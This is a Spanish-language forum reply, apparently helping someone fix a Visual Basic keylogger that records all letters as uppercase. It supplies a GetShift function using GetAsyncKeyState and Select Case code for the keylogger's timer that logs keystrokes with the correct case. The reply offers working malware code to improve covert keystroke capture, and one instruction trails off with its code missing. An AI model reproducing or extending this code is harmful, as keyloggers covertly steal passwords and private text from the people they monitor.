Como ya han dicho, si repararas un poco en el codigo seguramente verias que no tienes ninguna sentencia que te distinga si la tecla es mayuscula o minuscula, es decir, que te verifique si al pulsar la tecla esta tambien pulsado el shift o no.
La funcion para el shift es la siguiente y devuelve un boolean
Public Function GetShift() As Boolean
GetShift = CBool(GetAsyncKeyState(vbKeyShift))
End Function
Evidentemente tienes que tener declarada la funcion GetAsyncKeyState y que llege hasta donde esta el GetShift()
Asi despues en el timer del keylogger podrias poner
Case 57 'Para el numero 9
If GetShift = True Then
Written = Written & ")"
Else: Written = Written & "9"
End If
'Para las letras 65-90
Case 65 To 90
If GetShift = True Then
Written = Written & UCase(Chr$(KeyCode))
Else: Written = Written & LCase(Chr$(KeyCode))
End If
Case 188 'O por ejemplo la coma
If GetShift = True Then
Written = Written & ";"
Else: Written = Written & ","
End If
Si tienes algun problema con alguna tecla simplemente pon
despues de la funcion que mira las pulsaciones y asi te devolvera el numero ASCII de la tecla, luego anades un case para ese numero y fuera....
Mira el codigo e intenta ver siempre por que no funciona
Modificado.
PDD El problema en si es que al no mirar si esta pulsada la tecla shift o no, la funcion GetAsyncKeyState te devuelve siempre 65 al pulsar la "a", 66 al pulsar la "b" y asi consecutivamente y estos numeros pertenecen a las mayusculas en el ASCII, el teclado no devuelve los numeros de las minusculas, que estan entre 97 y 122. Como tu obtienes la letra a partir del numero que te devuelve la funcion, pones siempre mayuscula.